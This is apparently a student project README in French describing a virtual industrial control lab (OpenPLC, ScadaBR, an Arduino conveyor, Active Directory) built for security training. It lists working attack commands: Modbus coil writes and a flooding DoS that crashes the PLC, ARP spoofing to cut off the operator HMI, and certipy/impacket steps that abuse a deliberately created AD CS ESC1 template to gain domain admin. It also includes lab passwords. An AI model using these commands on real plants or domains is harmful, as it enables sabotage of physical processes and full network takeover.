9.7 KiB
Efrei Convoyeur
Ceci est le dépôt utilisé pour le projet engineering de l'Efrei.
Le livrable inclut les scripts d'attaque, le programme du PLC, et les fichiers ova
VirtualBox créés pour le projet.
Ce dépôt ne contient pas les fichiers ova
.
En parallèle de la virtualisation par VirtualBox, une virtualisation avec Vagrant a été incluse dans ce dépôt pour permettre de travailler en parallèle sur plusieurs machines.
Contrairement aux fichiers ova
qui sont des VM sous Windows et qui comportent également l'AD-DC, le Vagrantfile
de ce dépôt crée des VM sous Linux et s'occupe des déploiements applicatifs.
Quickstart avec les VM Linux décrites dans le Vagrantfile
de ce dépôt
Il faut installer Vagrant avec son provider préféré, et démarrer les VMs ainsi que leur provisionnement :
vagrant up
Ensuite, il faut :
- Importer le programme
motor.st
dans le PLC, avechttp://192.168.1.100:8080
(identifiants :openplc:openplc
). - Configurer la connexion au PLC sur ScadaBR, avec
http://192.168.1.11:8080/ScadaBR
(identifiants :admin:admin
). - Ajouter l'Arduino en tant que "slave device" sur OpenPLC.
Attaques
Les scripts d'attaque Modbus sont dans modbus_scripts/
.
Ils utilisent le module Python pymodbus
, donc penser à l'installer.
write_coil
pour démarrer / arrêter le moteur.
./modbus_scripts/write_plc.py 0 192.168.1.100 801
- Attaque par ARP spoofing pour bloquer les connexions de ScadaBR vers OpenPLC. Ceci empêche un opérateur de redémarrer le moteur après que l'attaquant l'ait arrêté.
sudo arpspoof -i eth1 -t 192.168.1.11 192.168.1.100
L'attaquant empoisonne la table ARP de l'IHM pour y associer son adresse MAC avec l'adresse IP du PLC. Ainsi, les commandes Modbus provenant de ScadaBR sont envoyées à l'attaquant, qui peut jeter le paquet.
- Attaque DoS avec des commandes
write_coil
à une adresse arbitraire du PLC, conduisant à une congestion TCP sur son port 502. Au final, le Runtime du PLC finit par crasher. Ceci empêche le PLC de traiter les requêtes, signifiant qu'aucune communication n'est possible entre ScadaBR et OpenPLC.
./modbus_scripts/block_plc.py 192.168.1.100
- Utilisation de l'AD-CS pour devenir Administrateur du domaine Active Directory, et prendre le contrôle de tout l'environnement IT mais également OT.
Cette attaque n'est pas une attaque Modbus mais une attaque IT.
Elle utilise les identifiants d'un compte utilisateur non privilégié (
comptable
) récupéré par phishing par exemple. Ce compte est utilisé pour demander un certificat à l'AD, au nom decomptable
, mais en joignant commePrincipalName
le compteadministrator
. Ce certificat permet de s'authentifier à l'AD avec le compteadministrator
, et ainsi récupérer le hash du compte. On peut alors cracker le hash ou utiliser le compte directement pour modifier les paramètres de sécurité du domaine. On peut également utiliser RDP pour se connecter directement au ScadaBR et ainsi impacter l'environnement OT de la manière que l'on souhaite.
Les commandes utilisées pour cette attaque sont listées ici :
certipy-ad find -u comptable@industrie.fr -p SuperMDP456 -dc-ip 192.168.1.10 -text
certipy-ad req -username comptable@industrie.fr -password SuperMDP456 -ca industrie-DC1-CA -template UserAuto -upn administrator@industrie.fr -dc-ip 192.168.1.10
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.1.10
impacket-wmiexec industrie.fr/Administrator@192.168.1.10 -hashes
whoami
hostname
sudo xfreerdp /u:Administrator /d:industrie.fr /v:192.168.1.11 -sec-nla
Configuration des OVAs
Créer une network interface de réseau privée d'hôte VirtualBox Host-Only Ethernet Adapter avec la configuration suivante :
- Configuration manuelle
- IPv4 : 192.168.1.1/24
- mask : 255.255.255.0
- Pas de DHCP
Attribuer cette interface de réseau privée d'hôte sur l'interface 1 des machines Windows. Leurs addresses respectives sont déjà inscrite en dur dans leur configuration.
La Kali n'étant pas dans les OVAs, il vous faudra la créer la votre comme décrit dans la section suivante. Attribuer ensuite l'interface virutelle sur l'interface 2 de la Kali, puis configurer cette interface dans Kali pour que son adresse soit 192.168.1.50/24
Démarrer les machines. L'ordre importe peu
Les mots de passe des machines sont les suivants: Admninistrateur : SuperMDP123 scadabr : SuperMDP456 openplc : SuperMDP456
Une fois connecté, aller sur la machine OpenPLC pour monter l'arduino : Périphérique (dans la barre en haut) --> USB --> Cocher la case de l'arduino Ensuite, aller sur la machine ScadaBR : Ouvrir Edge, vous devriez vous retrouver avec un onglet pour ScadaBR (http://localhost:8080) et un autre pour OpenPLC (http://192.168.1.100:8080) Les mots de passes sont ceux par défaut : ScadaBR : admin - admin OpenPLC : openplc - openplc
Vous pouvez tester la connectivité des différents éléments en allant dans l'interface ScadaBR puis en appuyant sur le bouton. Cela devrait lancer le convoyeur. Si le convoyeur ne se lance pas, vérifier que le PLC reçoit la commande : Interface OpenPLC --> Monitoring : les lumières doivent être vertes Si les lumières sont verte, vérifier que l'arduino est monté. Si c'est le cas, alors vérifier que le pont H n'a pas grillé.
Comment recréer les machines
Configuration réseau
Créer une network interface virtuelle VirtualBox Host-Only Ethernet Adapter avec la configuration suivante :
- Configuration manuelle
- IPv4 : 192.168.1.1/24
- mask : 255.255.255.0
- Pas de DHCP
Active Directory
Installer un Windows Server 2016 Standard Edition avec la configuration suivante:
- 2 Processeurs
- 4 Go de RAM
- 30Go de disque
- Activer la pagination imbriqué
- Activer le Nesting
- Une interface sur le réseau privée d'hôte nouvellement créé
- Une interface avec Internet (NAT)
Attribuer l'adresse IP 192.168.1.10/24 à l'interface du réseau privé d'hôte.
Renommer la machine DC1.
Configurer un service DC tout ce qu'il y a de plus classique. Nous l'avions nommé industrie.fr pour que ce soit générique mais pas trop.
Configurer un service CS tout ce qu'il y a de plus classique là aussi.
Créer la faille AD CS ESC1 : Aller dans l'édition des templates : Tool --> Certification Authority --> Clic droit sur Certificate Template --> Manage Dupliquer le template User et nommer la copie UserAuto Dans l'onglet Security, ajouter autoriser "AutoEnroll" à "Domain Users" Dans l'onglet "Subjet Name" selectionner "Supply in request". Ignonrer le warning. Dans l'onglet Issuance Requirements, vérifier que rien n'est coché Apply
Retourner dans la fênetre Certification Authority : Certificate Template --> Action --> New --> Certificate Template to Issue. Activer le template UserAuto.
Installation des systèmes Windows 10
On va mutualiser l'installation des machines windows.
Installer une machine Windows 10 Pro avec la configuration suivante:
- 2 Processeurs
- 4 Go de RAM
- 30Go de disque
- Activer la pagination imbriqué
- Activer le Nesting
- Une interface avec Internet (NAT)
Dérouler l'installateur Windows et créer un utilisateur local (pas un avec un compte microsoft). Ne pas lui donner de mot de passe facilite pas mal de chose et n'est pas une faille dans l'utilisation qu'on va en faire.
Une fois installée, mettre la machine à jour. Vous pouvez aussi installer VBoxGuestAdditions pour gagner en ergonomie.
Profiter de ce moment pour ouvrir Edge pour la première fois, ça fait éconimiser quelques minutes.
Une fois les installation faite, éteindre la machine.
Cloner la machine pour créer deux machines :
- SCADA_Win10
- PLC-01_WIN10
OpenPLC
Télécharger OpenPLC RunTime for Windows à l'adresse suivante : https://autonomylogic.com//wp-content/uploads/files/OpenPLC%20Runtime%20for%20Windows.exe
Lancer l'exécutable. Prendre son mal en patience, c'est très long.
Une fois fini, lancer OpenPLC Runtime. L'ajouter au démarrage de windows et ajouter son raccourci sur le bureau.
Eteindre la machine puis basculer son interface 1 sur le réseau privée d'hôte sur lequel se trouve l'AD.
Rallumer la machine puis lui attribuer l'adresse 192.168.1.100.
Renommer la machine PLC-01-Win10 puis la faire joindre au domaine industrie.fr
Connecter l'arduino puis monter le dans la VM : Périphérique (dans la barre en haut) --> USB --> Cocher la case de l'arduino
ScadaBR
Installer ensuite ScadaBR avec l'installateur qui se trouve la page suivante : https://github.com/ScadaBR/ScadaBR/releases/tag/v1.2
Une fois installé, lancer accéder à l'interface de ScadaBR depuis le lien sur le bureau, ça devrait ouvrir edge avec l'adresse localhost:8080
Télécharger le programme qu'il faudra charger dans l'OpenPLC à l'adresse suivante : https://git.tunuifranken.info/efrei/efreiconvoyeur/src/branch/main/motor.st
Eteindre la machine puis basculer son interface 1 sur le réseau privée d'hôte sur lequel se trouve l'AD.
Rallumer la machine puis lui attribuer l'adresse 192.168.1.11
Renommer la machine SCADA-Win10 puis la faire joindre au domaine industrie.fr
Tenter d'accéder à l'interface d'OpenPLC en vous rendant à l'adresse suivante : http://192.168.1.100:8080 Parfois la connexion se fait mal, faut juste attendre un peu. On peu vérifier si l'OpenPLC reçoit la requête dans ses logs affiché dans le terminal d'OpenPLC Runtime sur la machine OpenPLC.
Enter le identifiant par défaut : openplc - openplc
Dans la rubrique "Programs" charger le programme motor.st en le nommant "Convoyeur"
Dans la rubrique "Slave Devices" : Add New Device :
- Device Name : Convoyeur
- Type : Arduino Uno
- COM port : celui qui vous est proposé
Dans la rubrique Settings, activer "Start OpenPLC in RUN mode". Changer le nom par PLC-01-Win10 si ce n'est pas le cas. Appuyer sur le bouton Save Change.